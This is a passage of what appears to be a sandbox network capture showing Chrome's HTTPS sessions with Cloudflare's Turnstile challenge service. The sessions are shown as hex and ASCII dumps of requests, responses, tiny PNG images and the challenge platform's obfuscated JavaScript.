2025-01-11 08:26:07 UTC	1369	IN	Data Raw: 3e 3e 3d 31 2c 30 3d 3d 4b 26 26 28 4b 3d 6f 2c 4a 3d 73 28 4c 2b 2b 29 29 2c 4d 7c 3d 64 5b 69 62 28 34 39 37 29 5d 28 30 3c 51 3f 31 3a 30 2c 49 29 2c 49 3c 3c 3d 31 29 3b 52 3d 65 28 4d 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 48 3d 43 5b 33 5d 3d 52 2c 47 5b 69 62 28 34 38 38 29 5d 28 52 29 3b 3b 29 7b 69 66 28 4c 3e 6a 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4d 3d 30 2c 4e 3d 4d 61 74 68 5b 69 62 28 31 33 39 34 29 5d 28 32 2c 46 29 2c 49 3d 31 3b 64 5b 69 62 28 31 32 36 32 29 5d 28 49 2c 4e 29 3b 51 3d 64 5b 69 62 28 37 38 30 29 5d 28 4a 2c 4b 29 2c 4b 3e 3e 3d 31 2c 30 3d 3d 4b 26 26 28 4b 3d 6f 2c 4a 3d 73 28 4c 2b 2b 29 29 2c 4d 7c 3d 28 30 3c 51 3f 31 3a 30 29 2a 49 2c 49 3c 3c 3d 31 29 3b 73 77 69 74 Data Ascii: >>=1,0==K&&(K=o,J=s(L++)),M\|=d[ib(497)](0<Q?1:0,I),I<<=1);R=e(M);break;case 2:return''}for(H=C[3]=R,G[ib(488)](R);;){if(L>j)return'';for(M=0,N=Math[ib(1394)](2,F),I=1;d[ib(1262)](I,N);Q=d[ib(780)](J,K),K>>=1,0==K&&(K=o,J=s(L++)),M\|=(0<Q?1:0)*I,I<<=1);swit
2025-01-11 08:26:07 UTC	1369	IN	Data Raw: 73 6f 75 72 63 65 27 3a 69 64 28 36 38 35 29 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 69 64 28 35 35 36 29 5d 5b 69 64 28 34 38 39 29 5d 2c 27 65 76 65 6e 74 27 3a 69 64 28 31 35 30 36 29 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 69 64 28 35 35 36 29 5d 5b 69 64 28 31 36 37 34 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 69 64 28 35 35 36 29 5d 5b 69 64 28 36 33 34 29 5d 2c 27 63 6f 64 65 27 3a 69 64 28 31 35 36 30 29 2c 27 72 63 56 27 3a 65 4d 5b 69 64 28 35 35 36 29 5d 5b 69 64 28 31 31 37 37 29 5d 7d 2c 27 2a 27 29 29 3a 65 28 66 5b 69 64 28 31 35 30 31 29 5d 5b 69 64 28 31 32 31 32 29 5d 2c 31 65 33 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 31 33 37 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 69 65 2c 6a 2c 6b 2c 4a 2c 6c 2c Data Ascii: source':id(685),'widgetId':eM[id(556)][id(489)],'event':id(1506),'cfChlOut':eM[id(556)][id(1674)],'cfChlOutS':eM[id(556)][id(634)],'code':id(1560),'rcV':eM[id(556)][id(1177)]},'*')):e(f[id(1501)][id(1212)],1e3)},g)},eM[gJ(1373)]=function(g,h,i,ie,j,k,J,l,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49753	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:07 UTC	740	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:07 UTC	240	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:07 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9003852579d842d7-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:07 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49763	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:08 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:08 UTC	240	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:08 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9003852a7a50efa7-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:08 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49764	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:08 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9003851e0d620f5f&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:08 UTC	331	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:08 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 113856 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9003852bbd7d3338-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:08 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 75 63 6b 25 32 30 68 65 72 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e Data Ascii: n_description":"Stuck%20here%3F","turnstile_expired":"Expired","turnstile_footer_terms":"Terms","human_button_text":"Verify%20you%20are%20human","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 2c 67 32 2c 67 33 2c 67 64 2c 67 6f 2c 67 73 2c 67 74 2c 67 44 2c 67 48 2c 65 4f 2c 65 50 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 37 30 31 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 37 37 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 33 31 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 34 30 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 31 36 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 38 30 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 38 31 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 Data Ascii: ,g2,g3,gd,go,gs,gt,gD,gH,eO,eP){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(701))/1(parseInt(gI(1777))/2)+-parseInt(gI(1631))/3+-parseInt(gI(1340))/4(-parseInt(gI(1616))/5)+-parseInt(gI(680))/6*(-parseInt(gI(881))/7)+parseInt
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 2e 37 36 5e 46 2e 67 5d 3d 78 2c 42 3d 43 5b 68 6d 28 31 31 34 35 29 5d 28 29 2c 48 5b 68 6d 28 31 30 39 33 29 5d 28 2d 31 2c 44 29 29 74 68 72 6f 77 20 45 3b 46 2e 68 5b 47 2e 67 5e 36 5d 3d 48 5b 68 6d 28 31 31 34 35 29 5d 28 29 2c 49 2e 68 5b 4a 2e 67 5e 31 34 33 2e 30 33 5d 5b 68 6d 28 38 35 38 29 5d 28 4b 29 7d 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 6b 28 31 34 34 38 29 5d 5b 68 6b 28 31 31 34 34 29 5d 28 42 29 2c 43 3d 30 3b 6f 5b 68 6b 28 38 31 39 29 5d 28 43 2c 78 5b 68 6b 28 31 33 33 33 29 5d 29 3b 44 3d 78 5b 43 5d 2c 45 3d 66 6b 28 67 2c 68 2c 44 29 2c 6f 5b 68 6b 28 31 33 32 37 29 5d 28 42 2c 45 29 3f 28 46 3d 45 3d 3d 3d 27 73 27 26 26 21 67 5b 68 6b 28 34 34 36 29 5d 28 68 5b 44 5d Data Ascii: .76^F.g]=x,B=C[hm(1145)](),H[hm(1093)](-1,D))throw E;F.h[G.g^6]=H[hm(1145)](),I.h[J.g^143.03][hm(858)](K)}}(x),B='nAsAaAb'.split('A'),B=B[hk(1448)][hk(1144)](B),C=0;o[hk(819)](C,x[hk(1333)]);D=x[C],E=fk(g,h,D),o[hk(1327)](B,E)?(F=E==='s'&&!g[hk(446)](h[D]
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 5d 5b 68 70 28 31 32 36 34 29 5d 2c 27 63 6f 64 65 27 3a 65 5b 68 70 28 34 36 30 29 5d 2c 27 72 63 56 27 3a 65 4d 5b 68 70 28 31 37 38 34 29 5d 5b 68 70 28 31 31 36 36 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 37 30 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 68 71 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 6b 3d 28 68 71 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 71 28 31 32 31 35 29 5d 3d 68 71 28 35 30 39 29 2c 6a 5b 68 71 28 31 32 38 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 68 71 28 35 36 31 29 5d 3d 68 71 28 31 34 38 30 29 2c 6a 5b 68 71 28 36 39 38 29 5d 3d 68 71 28 31 37 32 31 29 2c 6a 5b 68 71 28 31 36 34 39 29 5d 3d 68 71 28 Data Ascii: ][hp(1264)],'code':e[hp(460)],'rcV':eM[hp(1784)][hp(1166)]},'*'))},g)},eM[gJ(706)]=function(g,h,i,hq,j,k,l,m,n,o,s,x,B,C,D,E,F){k=(hq=gJ,j={},j[hq(1215)]=hq(509),j[hq(1285)]=function(G,H){return G+H},j[hq(561)]=hq(1480),j[hq(698)]=hq(1721),j[hq(1649)]=hq(
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 68 72 28 39 30 39 29 5d 28 74 79 70 65 6f 66 20 64 5b 68 72 28 31 35 34 35 29 5d 2c 68 72 28 31 34 34 31 29 29 29 26 26 28 6a 3d 64 5b 68 72 28 31 35 34 35 29 5d 5b 68 72 28 31 33 35 31 29 5d 28 27 5c 6e 27 29 2c 6a 5b 68 72 28 31 33 33 33 29 5d 3e 31 29 26 26 28 6b 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6c 3d 6a 5b 31 5d 5b 68 72 28 31 35 30 35 29 5d 28 6b 29 2c 6c 26 26 28 68 72 28 31 33 31 36 29 3d 3d 3d 68 72 28 31 33 31 36 29 3f 28 67 3d 6c 5b 31 5d 2c 68 3d 65 5b 68 72 28 31 37 32 37 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 32 5d 2c 31 30 29 2c 69 3d 70 61 72 73 65 49 6e 74 28 6c 5b 33 5d 2c 31 30 29 29 3a 28 67 5b 68 72 28 31 31 39 31 29 5d 5b 68 72 28 31 34 35 37 29 5d 28 68 29 2c 69 3d 6a 29 29 29 Data Ascii: hr(909)](typeof d[hr(1545)],hr(1441)))&&(j=d[hr(1545)][hr(1351)]('\n'),j[hr(1333)]>1)&&(k=/^\s*at\s+(.+):(\d+):(\d+)/,l=j[1][hr(1505)](k),l&&(hr(1316)===hr(1316)?(g=l[1],h=e[hr(1727)](parseInt,l[2],10),i=parseInt(l[3],10)):(g[hr(1191)][hr(1457)](h),i=j)))
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 3d 3d 3d 64 5b 69 6b 28 36 37 33 29 5d 26 26 65 5b 69 6b 28 31 30 36 33 29 5d 3d 3d 3d 64 5b 69 6b 28 31 33 33 32 29 5d 3f 69 6b 28 31 33 39 38 29 3d 3d 3d 69 6b 28 31 37 34 33 29 3f 64 5b 69 6b 28 31 30 35 30 29 5d 28 65 2c 66 2e 69 64 29 3a 67 31 3d 64 5b 69 6b 28 38 31 36 29 5d 28 73 65 74 49 6e 74 65 72 76 61 6c 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 67 72 28 29 7d 2c 31 65 33 29 3a 65 26 26 64 5b 69 6b 28 37 39 36 29 5d 28 65 5b 69 6b 28 31 30 36 30 29 5d 2c 64 5b 69 6b 28 36 37 33 29 5d 29 26 26 65 5b 69 6b 28 31 30 36 33 29 5d 3d 3d 3d 69 6b 28 37 35 38 29 26 26 64 5b 69 6b 28 31 30 35 30 29 5d 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 2c 67 31 29 7d 29 2c 67 33 3d 21 5b 5d 2c 21 66 75 28 67 4a 28 31 31 32 35 29 29 26 26 28 67 72 28 29 2c 73 65 74 49 Data Ascii: ===d[ik(673)]&&e[ik(1063)]===d[ik(1332)]?ik(1398)===ik(1743)?d[ik(1050)](e,f.id):g1=d[ik(816)](setInterval,function(){gr()},1e3):e&&d[ik(796)](e[ik(1060)],d[ik(673)])&&e[ik(1063)]===ik(758)&&d[ik(1050)](clearInterval,g1)}),g3=![],!fu(gJ(1125))&&(gr(),setI
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 5b 67 4a 28 31 30 35 34 29 5d 28 67 4a 28 31 36 35 37 29 2c 66 75 6e 63 74 69 6f 6e 28 6a 77 2c 63 29 7b 6a 77 3d 67 4a 2c 63 3d 7b 27 75 70 50 77 70 27 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 66 29 7d 7d 2c 63 5b 6a 77 28 31 33 39 37 29 5d 28 73 65 74 54 69 6d 65 6f 75 74 2c 67 47 2c 30 29 7d 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 67 47 2c 30 29 2c 66 75 6e 63 74 69 6f 6e 28 6a 78 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 6a 78 3d 67 4a 2c 64 3d 7b 27 76 4d 64 73 4f 27 3a 6a 78 28 31 35 32 35 29 2c 27 63 58 44 58 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 65 77 55 41 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d Data Ascii: [gJ(1054)](gJ(1657),function(jw,c){jw=gJ,c={'upPwp':function(d,e,f){return d(e,f)}},c[jw(1397)](setTimeout,gG,0)}):setTimeout(gG,0),function(jx,d,e,f,g){return jx=gJ,d={'vMdsO':jx(1525),'cXDXj':function(h,i){return h==i},'ewUAi':function(h,i){return h==i}
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 75 72 6e 20 68 3d 3d 69 7d 2c 27 65 76 79 64 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 42 54 43 69 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 63 73 57 49 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 57 65 4e 6e 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 48 4c 66 6b 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 45 78 61 58 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 56 68 68 48 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6f 69 Data Ascii: urn h==i},'evyda':function(h,i){return h(i)},'BTCij':function(h,i){return h<i},'csWID':function(h,i){return h(i)},'WeNnW':function(h,i){return h*i},'HLfka':function(h,i){return h<i},'ExaXV':function(h,i){return h(i)},'VhhHA':function(h,i){return h(i)},'oi
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 7c 50 2c 64 5b 6a 41 28 36 39 33 29 5d 28 4a 2c 64 5b 6a 41 28 31 30 32 32 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 6a 41 28 31 34 30 34 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3d 30 2c 78 2b 2b 29 3b 66 6f 72 28 50 3d 44 5b 6a 41 28 31 33 32 38 29 5d 28 30 29 2c 78 3d 30 3b 64 5b 6a 41 28 38 30 33 29 5d 28 31 36 2c 78 29 3b 49 3d 64 5b 6a 41 28 31 30 35 37 29 5d 28 64 5b 6a 41 28 31 35 31 30 29 5d 28 49 2c 31 29 2c 64 5b 6a 41 28 31 33 35 39 29 5d 28 50 2c 31 29 29 2c 64 5b 6a 41 28 31 33 36 32 29 5d 28 4a 2c 6a 2d 31 29 3f 28 4a 3d 30 2c 48 5b 6a 41 28 31 34 30 34 29 5d 28 64 5b 6a 41 28 31 30 35 39 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 45 2d 2d 2c 45 3d 3d 30 26 26 28 45 3d 4d Data Ascii: \|P,d[jA(693)](J,d[jA(1022)](j,1))?(J=0,H[jA(1404)](o(I)),I=0):J++,P=0,x++);for(P=D[jA(1328)](0),x=0;d[jA(803)](16,x);I=d[jA(1057)](d[jA(1510)](I,1),d[jA(1359)](P,1)),d[jA(1362)](J,j-1)?(J=0,H[jA(1404)](d[jA(1059)](o,I)),I=0):J++,P>>=1,x++);}E--,E==0&&(E=M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49766	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:08 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1949578411:1736583276:eR2EiY8VxPNeRyNah4G3ZsTQP2lUjkNd2lfAbj45mRU/9003851e0d620f5f/JnZJhSYQZ4l.8fpHYEkmwV2yfPuZZl0lKWzjX7oNpTc-1736583966-1.1.1.1-AjZzZbOr0X_sxhg2kEgQ0HTsqcd78q3NSD39ILXzMTI4mDcdUqJzTyDnC0Tupi_e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3969 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: JnZJhSYQZ4l.8fpHYEkmwV2yfPuZZl0lKWzjX7oNpTc-1736583966-1.1.1.1-AjZzZbOr0X_sxhg2kEgQ0HTsqcd78q3NSD39ILXzMTI4mDcdUqJzTyDnC0Tupi_e sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:08 UTC	3969	OUT	Data Raw: 76 5f 39 30 30 33 38 35 31 65 30 64 36 32 30 66 35 66 3d 4f 31 61 7a 4d 7a 38 7a 4a 7a 67 7a 74 2d 54 6f 2d 54 69 7a 2d 42 65 33 79 30 42 54 51 2d 70 70 54 66 5a 54 65 63 7a 2d 6c 54 43 7a 65 61 30 65 52 6c 61 54 34 6a 6c 54 49 24 2d 35 4f 54 41 7a 2d 69 61 54 65 36 6e 31 77 32 54 36 33 54 25 32 62 54 2d 31 54 36 61 57 63 54 5a 54 77 63 65 70 54 33 63 6a 39 35 7a 7a 79 63 77 70 57 24 36 75 35 74 54 4f 7a 2d 51 52 62 57 63 65 5a 44 54 79 61 77 2b 59 63 43 33 68 56 4b 4c 6f 4b 67 74 76 73 35 37 6a 53 54 2d 78 54 6a 67 52 54 61 71 78 5a 6b 67 68 54 32 59 7a 54 39 24 54 30 4e 67 61 71 73 74 75 7a 48 47 75 49 35 59 35 48 6b 6d 39 66 7a 65 36 4e 49 24 7a 65 52 43 54 63 68 41 42 54 6b 61 33 6d 6d 6b 51 55 4c 6d 51 54 61 39 24 75 6b 31 54 79 6d 24 63 54 49 31 54 Data Ascii: v_9003851e0d620f5f=O1azMz8zJzgzt-To-Tiz-Be3y0BTQ-ppTfZTecz-lTCzea0eRlaT4jlTI$-5OTAz-iaTe6n1w2T63T%2bT-1T6aWcTZTwcepT3cj95zzycwpW$6u5tTOz-QRbWceZDTyaw+YcC3hVKLoKgtvs57jST-xTjgRTaqxZkghT2YzT9$T0NgaqstuzHGuI5Y5Hkm9fze6NI$zeRCTchABTka3mmkQULmQTa9$uk1Tym$cTI1T
2025-01-11 08:26:08 UTC	751	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:08 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 153184 Connection: close cf-chl-gen: 8r0XnzjxbYJrl9uFA7kMfJEpsSIOLdtRDEnMpMuca+eUBQaFULCyATbPulym6nHFRXvYXd2Vs85XTJvYUwiAx0QWWD5YvHBJlPwaMtfL0f9JmQeOEavOylE24meTkopaLvoTdWZpiOXYKILcnEiDsBi+jqP8dQaH8HPWE8xVg3CeZzg0j85wdUvfRoW77NV8voiyCnpXGdkZ7vmHb4ZwbY2U4m/qDrQ6oYgdTpqqZnpJo213tqzGFWxtKtXC2LClOncrx73JeXyTo/S1DEIkcyjpJVWUBy8LmCJ3C1dsb/hr/WG63IKNaZsV/xBJA9SB4wC8XWvNOm5d/BVTiHTbPitxW1jDrns8PgfokbwA0nY6qPdYVJrtLLLwbMjBEVIqLstd83mUEFwaKUCEf610L59WFdqstMDQH+sNfCmgtPMo77gEurnr6B/y0OcUd+Q8ZofCUMIacief5g4mCEBuylsJEJ/XAiRPqS2vnD+rzjk=$ntBTS+pG9FnFY1wdPu9tNA== Server: cloudflare CF-RAY: 9003852bfa2e0f3e-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:08 UTC	618	IN	Data Raw: 66 36 4e 2b 6f 61 2b 39 6f 70 71 35 68 38 32 4a 7a 34 75 71 79 39 4b 54 6a 73 57 50 72 61 2b 73 73 4d 61 71 75 64 65 66 6d 64 69 61 6f 4e 43 33 76 4e 4b 36 78 65 4f 72 70 61 33 73 36 62 37 42 79 4e 33 63 30 65 2f 78 78 39 62 36 30 50 71 35 2f 62 76 61 2f 76 76 2b 2b 63 32 2b 2f 66 62 46 43 39 7a 6d 42 77 37 6a 2b 51 4d 54 36 65 76 6c 47 41 4c 7a 2b 76 41 47 45 66 6b 58 43 66 63 42 32 78 33 37 42 65 44 39 38 69 76 6c 36 67 6a 39 42 52 6f 70 44 69 77 4a 37 54 45 79 4d 43 33 7a 4c 41 63 79 45 54 49 53 2b 69 48 39 39 52 67 56 41 76 6b 55 4b 77 45 69 47 69 55 71 51 43 42 49 44 44 45 50 53 45 73 53 56 52 67 37 53 31 73 33 46 57 45 35 4d 68 56 69 4c 54 45 6e 5a 55 55 79 4e 55 4e 75 4c 69 73 73 5a 46 30 76 52 57 77 30 63 7a 46 4a 54 6b 70 54 61 57 70 50 54 6b 31 Data Ascii: 